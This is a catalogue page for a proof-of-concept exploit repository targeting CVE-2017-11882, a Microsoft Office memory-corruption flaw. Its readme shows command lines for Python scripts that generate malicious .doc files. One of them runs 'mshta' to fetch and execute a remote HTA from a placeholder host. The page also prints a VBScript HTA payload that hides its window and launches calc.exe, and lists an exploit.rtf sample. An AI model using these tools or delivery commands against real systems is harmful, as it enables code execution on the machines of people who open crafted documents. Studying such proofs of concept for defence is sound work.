CVE-2017-11882 PoC — Microsoft Office 安全漏洞

Source

https://github.com/Shadowshusky/CVE-2017-11882-

Associated Vulnerability

Title:Microsoft Office 安全漏洞 (CVE-2017-11882)
Description:Microsoft Office 2007 Service Pack 3, Microsoft Office 2010 Service Pack 2, Microsoft Office 2013 Service Pack 1, and Microsoft Office 2016 allow an attacker to run arbitrary code in the context of the current user by failing to properly handle objects in memory, aka "Microsoft Office Memory Corruption Vulnerability". This CVE ID is unique from CVE-2017-11884.

Readme

# CVE-2017-11882

43b 原脚本来自于 https://github.com/embedi/CVE-2017-11882

109b 原脚本来自于 https://github.com/unamer/CVE-2017-11882/ （膜一波，现在unamer的代码已经可以执行shellcode了~）


CVE-2017-11882:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/

MITRE CVE-2017-11882:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882

Research:
https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about

Patch analysis:
https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html

DEMO PoC exploitation:
https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410


## Usage


```python
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
```

use mshta
```python
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
```
abc
```html
<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD> 
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD> 
</HTML> 

```

>43b命令长度不能超过43 bytes，109b命令长度不能超过109 bytes

# Sample exploit for CVE-2017-11882 (starting calc.exe as payload)

`example` folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system.

File Snapshot


 [4.0K]  /data/pocs/71ef2e50d1128a3e6da5d7e57857ff66d1d36350
├── [ 10K]  Command109b_CVE-2017-11882.py
├── [9.8K]  Command43b_CVE-2017-11882.py
├── [4.0K]  example
│   └── [7.9K]  exploit.rtf
└── [1.4K]  README.md

1 directory, 4 files

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